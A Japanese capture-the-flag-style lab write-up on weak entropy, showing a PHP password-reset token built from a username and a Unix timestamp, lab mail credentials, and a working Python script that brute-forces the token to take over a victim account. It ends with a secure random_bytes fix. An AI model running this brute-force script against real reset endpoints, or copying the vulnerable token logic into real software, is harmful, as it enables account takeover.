はじめに
本手法では、乱数生成におけるエントロピー不足が引き起こす脆弱性を扱う。
エントロピーとは、システム内の予測不可能性(ランダム性) を指し、通常は以下のような要素から得られる。
- ハードウェアノイズ
- ユーザー操作(入力タイミング、マウス移動など)
- OS が収集する環境情報
これらのエントロピーが弱い、あるいは不十分な場合、生成される乱数は「ランダムに見えるだけ」であり、実際には予測可能となる。その結果、攻撃者にとって格好の標的となる。
エントロピー(Entropy)とは何か
エントロピー(Entropy)とは、ある値がどれだけ予測困難であるかを示す尺度であり、暗号技術や乱数生成において極めて重要な概念である。
暗号分野におけるエントロピーは、次のように理解できる。
攻撃者が値を推測するために必要な試行回数の多さ
エントロピーが高いほど、生成される値は予測が困難になり、
エントロピーが低いほど、値は推測しやすくなる。
エントロピー不足がもたらす問題
たとえば、暗号鍵やトークンが以下のような低エントロピー情報から生成されている場合を考える。
- UNIX タイムスタンプ
- システム時刻
- ユーザー名
- 予測可能なユーザー入力
このような情報は、攻撃者にとって既知または推測可能であるため、探索空間が大幅に縮小される。結果として、ブルートフォースや総当たり攻撃が現実的になる。
実践シナリオ:パスワードリセットトークンの予測
本シナリオでは、弱いエントロピーに依存したトークン生成が、どのようにアカウント乗っ取りにつながるかを確認する。
対象環境
- 脆弱な Web アプリ
- メールサーバー
このアプリには以下の機能が存在する。
- ログイン機能
- パスワードリセット(リセットリンク送信)
今回のターゲットユーザーは victim である。
パスワードリセットの流れ
1.以下の URL にアクセス
http://random.thm:8090/case/forget_password.php
2.ユーザー名 victim を入力し、「Send Reset Link」をクリック
3.パスワードリセット用のリンクがメールで送信される
一見すると、よくあるパスワードリセット機能に見える。しかし、問題はサーバー側のトークン生成ロジックにある。
脆弱なトークン生成ロジック
以下が、リセットトークンを生成しているサーバー側コードである。
$stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute([':username' => $user_id]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if ($user) {
$token = $user_id . time();
$update = $db->prepare(
"UPDATE users SET reset_token = :token WHERE username = :username"
);
}
何が問題なのか?
生成されるトークンは、単に次の2つを連結しただけである。
{ユーザー名} + {UNIXタイムスタンプ}
例:
victim1726644813
これは暗号学的な乱数ではない。
メールからトークン形式を確認
メールサーバーに以下の認証情報でログインする。
- メールアドレス:
victim@mail.random.thm - パスワード:
Testing@123
そこには、パスワードリセットリンクが記載されたメールが届いている。
ここで攻撃者は、トークン形式と生成タイミングを把握できる。
攻撃の成立条件
攻撃者が知っている情報は以下である。
- ユーザー名(victim)
- トークン生成時刻は「今この瞬間付近」
- トークンは
username + time()形式
つまり、探索すべき値は「数分間分のタイムスタンプ」だけでよい。
トークン総当たり攻撃(ブルートフォース)
以下は、指定した時刻から 5分前まで遡ってトークンを試行する Python スクリプトである。
import requests
import sys
def brute_force_token(username, start_timestamp):
url = "http://random.thm:8090/case/reset_password.php"
for i in range(-300, 0):
current_timestamp = start_timestamp + i
token = f"{username}{current_timestamp}"
params = {'token': token}
response = requests.get(url, params=params)
if "Invalid or expired token." not in response.text:
print(f"Correct token identified: {token}")
return token
else:
print(f"Tried token: {token} (Invalid)")
print("No valid token found.")
return None
if len(sys.argv) != 3:
print("Usage: python exploit.py <username> <unix_timestamp>")
sys.exit(1)
username = sys.argv[1]
start_timestamp = int(sys.argv[2])
brute_force_token(username, start_timestamp)
攻撃の実行例
- パスワードリセットを再度実行
-
https://www.unixtimestamp.com/ で現在時刻を取得
例:1726645297 - AttackBox で以下を実行
python3 exploit.py victim 1726645297
出力例:
正しいトークンを特定できたら、以下の URL にアクセスするだけでよい。
http://random.thm:8090/case/reset_password.php?token=victim1767855922
これにより、パスワードを自由に変更できる。
なぜこのトークンは弱いのか
1. エントロピーが極端に低い
- ユーザー名:既知
- タイムスタンプ:秒単位で予測可能
これは暗号学的なランダム性ではない。
2. 探索空間が非常に小さい
- 1秒ごとに1通り
- 5分なら 300通り
- 数分で全探索可能
正しい対策
悪い例
$token = $username . time();
良い例
$token = bin2hex(random_bytes(32));
- CSPRNG を使用
- 十分な長さ(256bit 以上)
- 推測不可能
まとめ
| 問題点 | 内容 |
|---|---|
| エントロピー不足 | 時刻・ユーザー名に依存 |
| 予測可能性 | 攻撃者が生成ルールを理解可能 |
| 探索空間 | 極端に小さい |
| 結果 | アカウント乗っ取り |
乱数が弱い=セキュリティが存在しない
これは誇張ではなく、現実である。




